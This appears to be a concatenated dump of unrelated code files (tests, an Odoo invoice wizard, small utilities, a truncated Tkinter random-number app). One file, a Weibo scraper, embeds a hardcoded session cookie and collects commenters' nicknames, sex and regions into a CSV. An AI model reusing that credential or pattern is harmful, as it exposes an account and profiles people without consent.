reproducer=reproducers.BaseReproducer,\n binary_name=None,\n sanitizer='MSAN',\n target=None,\n require_user_data_dir=False)},\n 'standalone': {}}\n\n def test_download_param(self):\n \"\"\"Tests when the build_param is download\"\"\"\n\n result = reproduce.get_definition('libfuzzer_chrome_msan', 'download')\n self.assertEqual(result.builder, binary_providers.ChromiumBuilder)\n\n with self.assertRaises(error.JobTypeNotSupportedError):\n result = reproduce.get_definition('fuzzlibber_nasm', 'download')\n\n def test_build_param(self):\n \"\"\"Tests when build_param is an option that requires building.\"\"\"\n\n result = reproduce.get_definition('libfuzzer_chrome_msan', 'chromium')\n self.assertEqual(result.builder, binary_providers.ChromiumBuilder)\n\n with self.assertRaises(error.JobTypeNotSupportedError):\n result = reproduce.get_definition('fuzzlibber_nasm', 'chromium')\n\n\nclass GetSupportedJobsTest(helpers.ExtendedTestCase):\n \"\"\"Tests the get_supported_jobs method.\"\"\"\n\n def test_raise_from_key_error(self):\n \"\"\"Tests that a BadJobTypeDefinition error is raised when parsing fails.\"\"\"\n helpers.patch(self, [\n 'clusterfuzz.commands.reproduce.build_definition'])\n self.mock.build_definition.side_effect = KeyError\n\n with self.assertRaises(error.BadJobTypeDefinitionError):\n reproduce.get_supported_jobs()\n\n def test_get(self):\n \"\"\"Test getting supported job types.\"\"\"\n results = reproduce.get_supported_jobs()\n self.assertIn('chromium', results)\n self.assertIn('libfuzzer_chrome_ubsan', results['chromium'])\n self.assertIn('standalone', results)\n self.assertIn('linux_asan_pdfium', results['standalone'])\n","sub_path":"tool/tests/clusterfuzz/commands/reproduce_test.py","file_name":"reproduce_test.py","file_ext":"py","file_size_in_byte":18386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"151949372","text":"import requests\r\nfrom lxml import etree\r\nimport time\r\nfrom random import randint\r\nimport pandas as pd\r\nimport os\r\nclass huawei():\r\n number=0\r\n cookies={\r\n 'cookie':'_T_WM=d3846d997c691b351a75b4606cb7a320; SUB=_2A25wt4NwDeRhGeFN6VoQ9C7Kwz-IHXVQWy04rDV6PUJbkdAKLUH9kW1NQFhynyWcVLHI7B8WRaOkJKpLQpOBZc9A; SUHB=09P9wzYhKgc9GK; SCF=AjeTxA7qxItjcl9GJ8eEiZtjhc0stdzi7J4ODu5bLblrfBN3y5WpWlB2da14NhQYvqaaBHTgb1DKtZtwpKWT15A.; SSOLoginState=1572074272'\r\n\r\n }\r\n\r\n def trys(self):\r\n url = \"https://weibo.cn/u/2836883273?page=1\"\r\n content = requests.get(url, cookies=self.cookies).content\r\n selector=etree.HTML(content)\r\n ids=selector.xpath('//div[@class=\"c\"]/@id')\r\n id_improve=[]\r\n for i in ids:\r\n i=i[2:]\r\n id_improve.append(i)\r\n return id_improve\r\n def comment_page(self):\r\n ids=self.trys()\r\n users_improve_total = []\r\n for i in ids:\r\n url = \"https://weibo.cn/comment/%s?uid=2836883273&rl=0#cmtfrm\" % (i)\r\n content = requests.get(url, cookies=self.cookies).content\r\n selector = etree.HTML(content)\r\n users = selector.xpath('//body/div[@class=\"c\"]/a/@href')\r\n users_improve = []\r\n for user in users:\r\n justice = '/u/' in user\r\n justices = '/u/2836883273' in user\r\n if justice == False or justices == True:\r\n continue\r\n else:\r\n if len(user) == 13:\r\n user = user[3:]\r\n users_improve.append(user)\r\n for user_improve in users_improve:\r\n users_improve_total.append(user_improve)\r\n\r\n\r\n users_improve_total = list(dict.fromkeys(users_improve_total))\r\n print(users_improve_total)\r\n return users_improve_total\r\n\r\n def comment_page_try(self):\r\n url = 'https://weibo.cn/comment/Id9gvBaYz?uid=2836883273&rl=0#cmtfrm'\r\n content = requests.get(url, cookies=self.cookies).content\r\n selector = etree.HTML(content)\r\n users = selector.xpath('//body/div[@class=\"c\"]/a/@href')\r\n users_improve = []\r\n for user in users:\r\n justice = '/u/' in user\r\n justices = '/u/2836883273' in user\r\n if justice == False or justices == True:\r\n continue\r\n else:\r\n if len(user) == 13:\r\n user = user[3:]\r\n users_improve.append(user)\r\n\r\n users_improve = list(dict.fromkeys(users_improve))\r\n print(users_improve)\r\n return users_improve\r\n\r\n def info(self):\r\n user_list = self.comment_page()\r\n for user in user_list:\r\n try:\r\n information_list=[]\r\n url = 'https://weibo.cn/%s/info' % (user)\r\n content = requests.get(url, cookies=self.cookies).content\r\n selector = etree.HTML(content)\r\n infos = selector.xpath('/html/body/div[6]/text()')\r\n for info in infos:\r\n try:\r\n justice = '昵称:' in info\r\n justice_1 = '性别:' in info\r\n justice_2 = '地区:' in info\r\n if justice == True:\r\n nickname = info[3:]\r\n if justice_1 == True:\r\n sex = info[3:]\r\n if justice_2 == True:\r\n address = info[3:]\r\n except:print('error_1')\r\n information = {\r\n 'userid':user,\r\n 'nickname': nickname,\r\n 'sex': sex,\r\n 'address': address\r\n }\r\n print(information)\r\n information_list.append(information)\r\n df = pd.DataFrame(information_list)\r\n df.to_csv('csv.csv', mode='a', header=False)\r\n\r\n except:print('error_2')\r\n\r\n\r\n\r\n\r\nd=huawei()\r\nd.info()","sub_path":"微博/weibocommetcatch.py","file_name":"weibocommetcatch.py","file_ext":"py","file_size_in_byte":4132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"528470785","text":"from mock import ANY, sentinel, call\n\nfrom dockomorph.main import main\nfrom dockomorph.tests.logutil import LogMockingTestCase\n\n\nclass main_tests (LogMockingTestCase):\n def test_typical_run(self):\n m_parse_args = self.patch('dockomorph.clargs.parse_args')\n m_parse_config = self.patch('dockomorph.config.parse_config')\n m_init = self.patch('dockomorph.log.init')\n m_GitsDir = self.patch('dockomorph.paths.GitsDir')\n m_cols = self.patch('dockomorph.secrets.create_or_load_secret')\n m_WebServer = self.patch('dockomorph.web.server.WebServer')\n m_reactor = self.make_mock()\n\n m_parse_config.return_value = {\n 'github': {\n 'secret': sentinel.GH_SECRET,\n },\n }\n\n result = main(sentinel.args, m_reactor)\n\n self.assertIs(result, None)\n\n self.assert_calls_equal(\n m_parse_args,\n [call(main.__doc__, sentinel.args)])\n\n self.assert_calls_equal(\n m_init,\n [call()])\n\n self.assert_calls_equal(\n m_GitsDir,\n [call.makedirs(ignoreExistingDirectory=True)])\n\n self.assert_calls_equal(\n m_cols,\n [call('github')])\n\n self.assert_calls_equal(\n m_WebServer,\n [call(m_reactor, m_cols.return_value, ANY),\n call().listen(m_parse_args().port)])\n\n self.assert_calls_equal(\n m_reactor,\n [call.run()])\n","sub_path":"dockomorph/tests/test_main.py","file_name":"test_main.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"538986747","text":"import random\nimport decimal\nimport time\n\nrandom.randint(0, 10)\n\nteam_1_rank = 12\nteam_1_name = \"Sharks\"\nteam_2_rank = 16\nteam_2_name = \"Hot-dogs\"\n\ndef success_calcualtor(x):\n x = 100 / x \n return x \n\nteam_1_success = success_calcualtor(team_1_rank)\nteam_2_success = success_calcualtor(team_2_rank)\n\nteam_1_win_chance = (team_1_success * (random.randint(0, 10) / 100)) * 100\nteam_1_win_chance = round(team_1_win_chance, 2)\nteam_2_win_chance = (team_2_success * (random.randint(0, 10) / 100)) * 100\nteam_2_win_chance = round(team_2_win_chance, 2)\n\nprint(\"We are calculating chances...\")\n\ntime.sleep(2)\n\nprint(\"...working on it...\")\n\ntime.sleep(2)\n\nif team_1_win_chance > team_2_win_chance:\n print(f\"{team_1_name} wins!\")\n print(f\"{team_1_name} chance was {team_1_win_chance}%\")\n print(f\"{team_2_name} chance was {team_2_win_chance}%\")\nelse:\n print(f\"{team_2_name} wins!\")\n print(f\"{team_1_name} chance was {team_1_win_chance}%\")\n print(f\"{team_2_name} chance was {team_2_win_chance}&\")","sub_path":"pickalator.py","file_name":"pickalator.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"265803514","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n###################################################################\n#\n#\n#\n# Train the Chosen Model\n#\n#\n#\n###################################################################\n## Authors: Ben Baccar Lilia / Rahis Erwan\n###################################################################\n\nimport numpy as np\nimport pandas as pd\nfrom Functions_NN import Neural_Network_Classif, test_index\nimport seaborn as sns\nfrom matplotlib import pyplot as plt\nimport tensorflow as tf\nfrom tensorflow.keras.utils import to_categorical\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Dropout\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import train_test_split\nfrom tensorflow.keras.metrics import CategoricalAccuracy, Precision, Recall\nfrom pickle import dump\n\n#%%\n\"\"\"\nImport the data from the csv \n\"\"\"\n\ndf_std_mfccs = pd.read_csv('Inputs/df_std_mfccs.csv', index_col=0)\ndf_mean_mfccs = pd.read_csv('Inputs/df_mean_mfccs.csv', index_col=0)\ndf_mean_chromas = pd.read_csv('Inputs/df_mean_chromas.csv', index_col=0)\ndf_std_chromas = pd.read_csv('Inputs/df_std_chromas.csv', index_col=0)\ndf_mean_zcr = pd.read_csv('Inputs/df_mean_zcr.csv', index_col=0)\ndf_std_zcr = pd.read_csv('Inputs/df_std_zcr.csv', index_col=0)\ndf_mean_sro = pd.read_csv('Inputs/df_mean_sro.csv', index_col=0)\ndf_std_sro = pd.read_csv('Inputs/df_std_sro.csv', index_col=0)\ndf_tempo = pd.read_csv('Inputs/df_tempo.csv', index_col=0)\npaths_df = pd.read_csv('Inputs/paths_genres.csv', index_col=0)\n\n\n#Test if index is the same than the genre \ntest_index(paths_df['genre'], df_tempo.index)\n\n\"\"\"\nPrepare the LABELS\n\"\"\"\n#One hot encoding on the labels \nencoder = LabelEncoder()\nencoder.fit(paths_df['genre'])\nencoded_Y = encoder.transform(paths_df['genre'])\n\n#Get the classes of the encoder\nclasses = encoder.classes_.tolist()\n#Save the classes for later classification\nnp.savetxt(\"Inputs/classes_ordered.txt\", classes, delimiter=\",\", fmt='%s')\n\n\n#%% \n\"\"\"\nFinal Model = Neural Network with : \n 60 mean/std MFCCs + \n 24 mean/std Chromas + \n 1 mean Tempo + \n 2 mean/std zero crossing rate+\n 2 mean/std spectral rolloff\n\n\"\"\"\n#Features\nX = df_mean_mfccs.join(df_std_mfccs, lsuffix='_MeanMFCC', rsuffix='_StdMFCC')\nX = X.join(df_mean_chromas.join(df_std_chromas, lsuffix='_MeanChroma', \n rsuffix='_StdChroma')).join(df_tempo,rsuffix='tempo')\nX = X.join(df_mean_zcr.join(df_std_zcr,lsuffix='_MeanZCR',rsuffix='_StdZCR'))\nX = X.join(df_mean_sro.join(df_std_sro,lsuffix='_MeanSRO',rsuffix='_StdSRO'))\n\n#Name of the model\nmodel_name = 'FinalModel'\noptimizer_ = 'adam'\n\n#Creation of the structure\nmodel_object = Sequential( [ \n Dense(89, activation='relu', input_shape=(89,)), #Hidden dense layer (fully connected with ReLu activation)\n Dense(79, activation='relu'),\n Dense(69, activation='linear'),\n Dense(59, activation='relu'),\n Dense(49, activation='linear'),\n Dense(39, activation='relu'),\n Dense(29, activation='relu'),\n Dense(12, activation='softmax')\n \n ])\n\n#Compile the model\nmodel_object.compile(optimizer=optimizer_,\n loss='categorical_crossentropy',\n metrics=[CategoricalAccuracy(), Precision(), Recall()])\n\n#Neural Network Classifier Object\nFinal_NN = Neural_Network_Classif(X, encoded_Y, model_name, model_object)\n#Run GridSearch\nres = Final_NN.run_GridSearch([500], [300], optimizer_, True)\n \nprint('Test accuracy on chosen model = {}'.format(Final_NN.results_metrics['Test_Accuracy'][0]))\n\n#%%\n# SAVE THE MODEL\nmodel_object.save('Inputs/trained_model')\n#Save the scaler\ndump(Final_NN.scaler, open('Inputs/scaler.pkl', 'wb'))\n","sub_path":"Python/02_NN_Train_Model.py","file_name":"02_NN_Train_Model.py","file_ext":"py","file_size_in_byte":3813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"64053684","text":"# -*- coding: utf-8 -*-\n# Part of Odoo. See LICENSE file for full copyright and licensing details.\n\nimport time\n\nfrom odoo import api, fields, models, _\nfrom odoo.addons import decimal_precision as dp\nfrom odoo.exceptions import UserError\n\n\nclass SaleAdvancePaymentInv(models.TransientModel):\n _name = \"sale.advance.payment.inv\"\n _description = \"Sales Advance Payment Invoice\"\n\n @api.model\n def _count(self):\n return len(self._context.get('active_ids', []))\n\n @api.model\n def _get_advance_payment_method(self):\n if self._count() == 1:\n sale_obj = self.env['sale.order']\n order = sale_obj.browse(self._context.get('active_ids'))[0]\n if order.order_line.filtered(lambda dp: dp.is_downpayment) and order.invoice_ids.filtered(lambda invoice: invoice.state != 'cancel') or order.order_line.filtered(lambda l: l.qty_to_invoice < 0):\n return 'all'\n else:\n return 'delivered'\n return 'all'\n\n @api.model\n def _default_product_id(self):\n product_id = self.env['ir.config_parameter'].sudo().get_param('sale.default_deposit_product_id')\n return self.env['product.product'].browse(int(product_id))\n\n @api.model\n def _default_deposit_account_id(self):\n return self._default_product_id().property_account_income_id\n\n @api.model\n def _default_deposit_taxes_id(self):\n return self._default_product_id().taxes_id\n\n advance_payment_method = fields.Selection([\n ('delivered', 'Invoiceable lines'),\n ('all', 'Invoiceable lines (deduct down payments)'),\n ('percentage', 'Down payment (percentage)'),\n ('fixed', 'Down payment (fixed amount)')\n ], string='What do you want to invoice?', default=_get_advance_payment_method, required=True)\n product_id = fields.Many2one('product.product', string='Down Payment Product', domain=[('type', '=', 'service')],\n default=_default_product_id)\n count = fields.Integer(default=_count, string='Order Count')\n amount = fields.Float('Down Payment Amount', digits=dp.get_precision('Account'), help=\"The amount to be invoiced in advance, taxes excluded.\")\n deposit_account_id = fields.Many2one(\"account.account\", string=\"Income Account\", domain=[('deprecated', '=', False)],\n help=\"Account used for deposits\", default=_default_deposit_account_id)\n deposit_taxes_id = fields.Many2many(\"account.tax\", string=\"Customer Taxes\", help=\"Taxes used for deposits\", default=_default_deposit_taxes_id)\n\n @api.onchange('advance_payment_method')\n def onchange_advance_payment_method(self):\n if self.advance_payment_method == 'percentage':\n return {'value': {'amount': 0}}\n return {}\n\n @api.multi\n def _create_invoice(self, order, so_line, amount):\n inv_obj = self.env['account.invoice']\n ir_property_obj = self.env['ir.property']\n\n account_id = False\n if self.product_id.id:\n account_id = order.fiscal_position_id.map_account(self.product_id.property_account_income_id or self.product_id.categ_id.property_account_income_categ_id).id\n if not account_id:\n inc_acc = ir_property_obj.get('property_account_income_categ_id', 'product.category')\n account_id = order.fiscal_position_id.map_account(inc_acc).id if inc_acc else False\n if not account_id:\n raise UserError(\n _('There is no income account defined for this product: \"%s\". You may have to install a chart of account from Accounting app, settings menu.') %\n (self.product_id.name,))\n\n if self.amount <= 0.00:\n raise UserError(_('The value of the down payment amount must be positive.'))\n context = {'lang': order.partner_id.lang}\n if self.advance_payment_method == 'percentage':\n amount = order.amount_untaxed * self.amount / 100\n name = _(\"Down payment of %s%%\") % (self.amount,)\n else:\n amount = self.amount\n name = _('Down Payment')\n del context\n taxes = self.product_id.taxes_id.filtered(lambda r: not order.company_id or r.company_id == order.company_id)\n if order.fiscal_position_id and taxes:\n tax_ids = order.fiscal_position_id.map_tax(taxes, self.product_id, order.partner_shipping_id).ids\n else:\n tax_ids = taxes.ids\n\n invoice = inv_obj.create({\n 'name': order.client_order_ref or order.name,\n 'origin': order.name,\n 'type': 'out_invoice',\n 'reference': False,\n 'account_id': order.partner_id.property_account_receivable_id.id,\n 'partner_id': order.partner_invoice_id.id,\n 'partner_shipping_id': order.partner_shipping_id.id,\n 'invoice_line_ids': [(0, 0, {\n 'name': name,\n 'origin': order.name,\n 'account_id': account_id,\n 'price_unit': amount,\n 'quantity': 1.0,\n 'discount': 0.0,\n 'uom_id': self.product_id.uom_id.id,\n 'product_id': self.product_id.id,\n 'sale_line_ids': [(6, 0, [so_line.id])],\n 'invoice_line_tax_ids': [(6, 0, tax_ids)],\n 'analytic_tag_ids': [(6, 0, so_line.analytic_tag_ids.ids)],\n 'account_analytic_id': order.analytic_account_id.id or False,\n })],\n 'currency_id': order.pricelist_id.currency_id.id,\n 'payment_term_id': order.payment_term_id.id,\n 'fiscal_position_id': order.fiscal_position_id.id or order.partner_id.property_account_position_id.id,\n 'team_id': order.team_id.id,\n 'user_id': order.user_id.id,\n 'comment': order.note,\n })\n invoice.compute_taxes()\n invoice.message_post_with_view('mail.message_origin_link',\n values={'self': invoice, 'origin': order},\n subtype_id=self.env.ref('mail.mt_note').id)\n return invoice\n\n @api.multi\n def create_invoices(self):\n sale_orders = self.env['sale.order'].browse(self._context.get('active_ids', []))\n\n if self.advance_payment_method == 'delivered':\n sale_orders.action_invoice_create()\n elif self.advance_payment_method == 'all':\n sale_orders.action_invoice_create(final=True)\n else:\n # Create deposit product if necessary\n if not self.product_id:\n vals = self._prepare_deposit_product()\n self.product_id = self.env['product.product'].create(vals)\n self.env['ir.config_parameter'].sudo().set_param('sale.default_deposit_product_id', self.product_id.id)\n\n sale_line_obj = self.env['sale.order.line']\n for order in sale_orders:\n if self.advance_payment_method == 'percentage':\n amount = order.amount_untaxed * self.amount / 100\n else:\n amount = self.amount\n if self.product_id.invoice_policy != 'order':\n raise UserError(_('The product used to invoice a down payment should have an invoice policy set to \"Ordered quantities\". Please update your deposit product to be able to create a deposit invoice.'))\n if self.product_id.type != 'service':\n raise UserError(_(\"The product used to invoice a down payment should be of type 'Service'. Please use another product or update this product.\"))\n taxes = self.product_id.taxes_id.filtered(lambda r: not order.company_id or r.company_id == order.company_id)\n if order.fiscal_position_id and taxes:\n tax_ids = order.fiscal_position_id.map_tax(taxes, self.product_id, order.partner_shipping_id).ids\n else:\n tax_ids = taxes.ids\n context = {'lang': order.partner_id.lang}\n analytic_tag_ids = []\n for line in order.order_line:\n analytic_tag_ids = [(4, analytic_tag.id, None) for analytic_tag in line.analytic_tag_ids]\n so_line = sale_line_obj.create({\n 'name': _('Advance: %s') % (time.strftime('%m %Y'),),\n 'price_unit': amount,\n 'product_uom_qty': 0.0,\n 'order_id': order.id,\n 'discount': 0.0,\n 'product_uom': self.product_id.uom_id.id,\n 'product_id': self.product_id.id,\n 'analytic_tag_ids': analytic_tag_ids,\n 'tax_id': [(6, 0, tax_ids)],\n 'is_downpayment': True,\n })\n del context\n self._create_invoice(order, so_line, amount)\n if self._context.get('open_invoices', False):\n return sale_orders.action_view_invoice()\n return {'type': 'ir.actions.act_window_close'}\n\n def _prepare_deposit_product(self):\n return {\n 'name': 'Down payment',\n 'type': 'service',\n 'invoice_policy': 'order',\n 'property_account_income_id': self.deposit_account_id.id,\n 'taxes_id': [(6, 0, self.deposit_taxes_id.ids)],\n 'company_id': False,\n }\n","sub_path":"odoo-12/addons/sale/wizard/sale_make_invoice_advance.py","file_name":"sale_make_invoice_advance.py","file_ext":"py","file_size_in_byte":9306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"614360575","text":"import MapReduce\nimport sys\n\n\"\"\"\nProblem 1 Solution\n\"\"\"\n\nmr = MapReduce.MapReduce()\n\ndef mapper(record):\n # sequenceid: a unique identifier for the sequence\n # nucleotides: a string representing a sequence of nucleotides\n sequenceid = record[0]\n nucleotides = record[1][:-10]\n mr.emit_intermediate(nucleotides, sequenceid)\n\ndef reducer(key, list_of_values):\n # key: name of the person whose friends to count\n # list_of_values: list of mr\n mr.emit(key)\n\n\nif __name__ == '__main__':\n inputdata = open(sys.argv[1])\n mr.execute(inputdata, mapper, reducer)","sub_path":"assignment3/unique_trims.py","file_name":"unique_trims.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"312747784","text":"import bottle \nimport pymongo \n@bottle.route('/')\ndef index():\n #connecto mongodb\n connection=pymongo.MongoClient('localhost',27017)\n db=connection.test \n name=db.names \n item=name.find_one() \n return ' Hello {} '.format(item['name'])\nbottle.run(host='localhost',port='8082')\n\n\n","sub_path":"hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"124407151","text":"from PyQt5 import QtWidgets\nfrom sklearn.gaussian_process import GaussianProcessRegressor\n\nfrom point_spectra_gui.ui.GP import Ui_Form\nfrom point_spectra_gui.util.Modules import Modules\n\n\nclass Ui_Form(Ui_Form, GaussianProcessRegressor, Modules):\n def setupUi(self, Form):\n super().setupUi(Form)\n # self.checkMinAndMax()\n self.connectWidgets()\n\n def get_widget(self):\n return self.formGroupBox\n\n def setHidden(self, bool):\n self.get_widget().setHidden(bool)\n\n def connectWidgets(self):\n # self.numOfComponenetsSpinBox.setValue(4)\n # self.setComboBox(self.regrComboBox, self._regression_types)\n # self.defaultComboItem(self.regrComboBox, self.regr)\n # self.setComboBox(self.corrComboBox, self._correlation_types)\n # self.defaultComboItem(self.corrComboBox, self.corr)\n # self.setComboBox(self.storageModeComboBox, ['light', 'full'])\n # self.defaultComboItem(self.storageModeComboBox, self.storage_mode)\n # self.verboseCheckBox.setChecked(self.verbose)\n # self.theta0DoubleSpinBox.setValue(self.theta0)\n # self.setComboBox(self.optimizerComboBox, self._optimizer_types)\n # self.defaultComboItem(self.optimizerComboBox, self.optimizer)\n # self.randomStartSpinBox.setValue(self.random_start)\n # self.normalizeCheckBox.setChecked(self.normalize)\n\n # self.numOfComponenetsSpinBox.setValue(4)\n # Kern\n self.setComboBox(self.kernComboBox, ['', 'ConstantKernel', 'RBF', 'Matern', 'RationalQuadratic', 'ExpSineSquared', 'DotProduct'])\n self.defaultComboItem(self.kernComboBox, '')\n\n # Alpha\n self.alphaSpinBox.setValue(self.alpha)\n\n # Optimizer\n self.setComboBox(self.optimizerComboBox, ['', 'fmin_l_bfgs_b'])\n self.defaultComboItem(self.optimizerComboBox, '')\n\n # n_restarts_optimizer\n self.restartsOptimizerSpinBox.setValue(self.n_restarts_optimizer)\n\n # normalize_y\n self.normalizeCheckBox.setChecked(self.normalize_y)\n\n # copy_X_train\n self.copyXCheckBox.setChecked(self.copy_X_train)\n # self.randomStartSpinBox.setValue(self.random_start)\n\n # random_state\n self.setComboBox(self.randomStateComboBox, ['', 'randomState()'])\n self.defaultComboItem(self.optimizerComboBox, '')\n\n # self.theta0DoubleSpinBox.setValue(self.n_restarts_optimizer)\n #\n # self.setComboBox(self.optimizerComboBox, self._optimizer_types)\n # self.defaultComboItem(self.optimizerComboBox, self.optimizer)\n #\n # self.randomStartSpinBox.setValue(self.random_start)\n # self.normalizeCheckBox.setChecked(self.normalize)\n\n def run(self):\n\n params = {\n 'kernel' : self.kernComboBox.currentText(),\n 'alpha' : self.alphaSpinBox.value(),\n 'optimizer' : self.optimizerComboBox.currentText(),\n 'n_restarts_optimizer' : self.restartsOptimizerSpinBox.value(),\n 'normalize_y' : self.normalizeCheckBox.isChecked(),\n 'copy_X_train' : self.copyXCheckBox.isChecked(),\n 'random_state' : self.randomStateComboBox.currentText(),\n\n }\n #\n # params = {\n # 'reduce_dim': self.reductionMethodComboBox.currentText(),\n # 'n_components': self.numOfComponenetsSpinBox.value(),\n # 'regr': self.regrComboBox.currentText(),\n # 'corr': self.corrComboBox.currentText(),\n # 'storage_mode': self.storageModeComboBox.currentText(),\n # 'verbose': self.verboseCheckBox.isChecked(),\n # 'theta0': self.theta0DoubleSpinBox.value(),\n # 'normalize': self.normalizeCheckBox.isChecked(),\n # 'optimizer': self.optimizerComboBox.currentText(),\n # 'random_start': self.randomStartSpinBox.value(),\n # }\n\n return params, self.getChangedValues(params, GaussianProcessRegressor())\n\n\nif __name__ == \"__main__\":\n import sys\n\n app = QtWidgets.QApplication(sys.argv)\n Form = QtWidgets.QWidget()\n ui = Ui_Form()\n ui.setupUi(Form)\n Form.show()\n sys.exit(app.exec_())\n","sub_path":"point_spectra_gui/core/regressionMethods/GP.py","file_name":"GP.py","file_ext":"py","file_size_in_byte":4144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"327690298","text":"import time, os\nimport psutil as ps\nimport copy\nimport zmq\n\n\nclass Zeromq(object):\n\tdef __init__(self, l, host='', port=5000):\n\t\tself.host = host\n\t\tself.port = port\n\t\tself.context = zmq.Context()\n\t\tself.socket = self.context.socket(zmq.REP)\n\n\tdef start(self):\n\t\tself.socket.bind(\"tcp://%s:%s\" % (self.host, str(self.port) ) )\n\t\twhile True:\n\t\t # Wait for next request from client\n\t\t message = self.socket.recv()\n\t\t time.sleep (1) \n\t\t self.socket.send(\"World from %s\" % self.port)\n\n\nif __name__ == '__main__':\n\tl = dict()\n\tz = Zeromq(l, host='0.0.0.0', port=5000)\n\tz.start()\n\n\t","sub_path":"src/test/test_zeromq.py","file_name":"test_zeromq.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"82796066","text":"import os\r\nimport pickle\r\nimport uuid\r\n\r\nfrom django.apps import apps\r\n\r\nfrom django.conf import settings\r\n\r\n\r\ndef dump_database(app_name='app'):\r\n try:\r\n models = apps.get_app_config(app_name).get_models()\r\n data = {}\r\n for model in models:\r\n data[model.__name__] = model.objects.all()\r\n if not os.path.exists(os.path.join(settings.BASE_DIR, 'media')):\r\n os.makedirs(os.path.join(settings.BASE_DIR, 'media'))\r\n filename = str(uuid.uuid4()) + '.sav'\r\n filepath = os.path.join(settings.BASE_DIR, 'media', filename)\r\n with open(filepath, 'wb') as f:\r\n pickle.dump(data, f)\r\n f.close()\r\n return filename\r\n except Exception as e:\r\n raise e\r\n","sub_path":"database_manager/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"112476017","text":"# win32clipboard is part of a package called pywin32, install using\n# pip install pywin32\n# win10toast for displaying windows notifications, install using\n# pip install win10toast\n\nimport win32clipboard\nimport subprocess\nfrom datetime import date\nfrom win10toast import ToastNotifier\n\ntry:\n toaster = ToastNotifier()\n filePath = \"C:\\\\\"\n win32clipboard.OpenClipboard()\n clipboardData = win32clipboard.GetClipboardData()\n win32clipboard.CloseClipboard()\n # print(clipboardData)\n\n fileName = clipboardData + \".py\"\n\n # from Tkinter import Tk\n # data = Tk().clipboard_get()\n # print(data)\n\n f = open(filePath + fileName, \"w+\")\n f.write(\"# python file created using cpProductivityScript.py\")\n f.write(\"# https://github.com/vijayanand-pg/python-scripts/\")\n f.write(\"\\n\\n\\n\\n\\n# --signature\")\n currentDate = date.today().strftime(\"%b-%d-%Y\")\n f.write(\"\\n# --\" + currentDate)\n f.close()\n\n p = subprocess.Popen([\"code.exe\", filePath + fileName])\n ret = p.wait()\n toaster.show_toast(\"File created successfully\",\"File name: \" + fileName + \"\\nFile Path: \" + filePath, duration=8)\nexcept:\n toaster.show_toast(\"Incorrect File name\",\"The file name can\\'t contain any of the following characters:\\n ↵ \\\\ /:*?\\\"<>| \\nRemove Return or any other invalid special characters and try again\", duration=8)\n","sub_path":"cpProductivityScript.py","file_name":"cpProductivityScript.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"490404635","text":"from matplotlib import pyplot as plot\nfrom matplotlib.figure import Figure\nfrom functools import reduce\nfrom time import time\nimport random\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\ntry:\n from tkinter import *\nexcept:\n from Tkinter import *\n\ndef get_moments(selection):\n m = sum(selection) / len(selection)\n D = reduce(lambda x, y: x + y ** 2, selection, 0) / len(selection) - m ** 2\n return m, D\n\n\nclass Random:\n #default values\n z0 = 5920#random.randint(1000,9999)\n M = 2 ** 16\n K = 7 ** 2 * 11 * 13\n A0 = 1\n\n @staticmethod\n def middle_square_method(start_value=z0):\n current = start_value\n while True:\n yield current / 10000.0\n square = str(current ** 2)\n new_value = ('0' * (8 - len(square)) + square)\n current = int(new_value[2:6])\n\n @staticmethod\n def mul_mod_method(m=M, k=K, a0=A0):\n a = float((k * a0) % m)\n while True:\n yield a / m\n a = float((k * a) % m)\n\nclass Form(object):\n def __init__(self):\n self.root = Tk()\n self.figure = Figure(figsize=(7, 6), dpi=100)\n self.plot = self.figure.add_subplot(111)\n self.canvas = FigureCanvasTkAgg(self.figure, self.root)\n self.canvas._tkcanvas.pack(side=LEFT)\n self.canvas.show()\n\n def show(self):\n self.root.mainloop()\n\n def add_frame(self, master):\n frame = Frame(master)\n frame.pack(side=TOP, anchor=\"w\", padx = 5)\n return frame\n\n\n def add_textbox(self, master, title):\n label = Label(master, text=title, anchor=W, font='Arial 13')\n label.pack(fill=BOTH, pady = 5)\n entry = Entry(master, font='Arial 14')\n entry.pack()\n return entry\n\n def add_button(self, master, title, command=None):\n button = Button(master, text='submit', command=command)\n button.pack(pady = 5)\n return button\n\n def add_radiobuttons(self, master, modes, command=None):\n radio_value = StringVar()\n radio_value.set(modes[0][1])\n for text, mode in modes:\n radio = Radiobutton(master, text=text, command=command,\n variable=radio_value, value=mode, font='Arial 12' )\n radio.pack(anchor=W)\n return radio_value\n\n def add_textaria(self, master):\n textaria = Text(master, width=30, height=10, font='Arial 10',wrap=WORD)\n textaria.pack(side=TOP, fill=BOTH, pady=5)\n return textaria\n\n def textaria_add_string(self, textaria, string):\n textaria.insert(END, string)\n\n def clear(self):\n self.figure.clear()\n\n def swap_frames(self, frame1, frame2):\n frame1.pack_forget()\n frame2.pack(anchor=\"w\", side=TOP, padx = 5, pady=5)\n\n def draw(self):\n 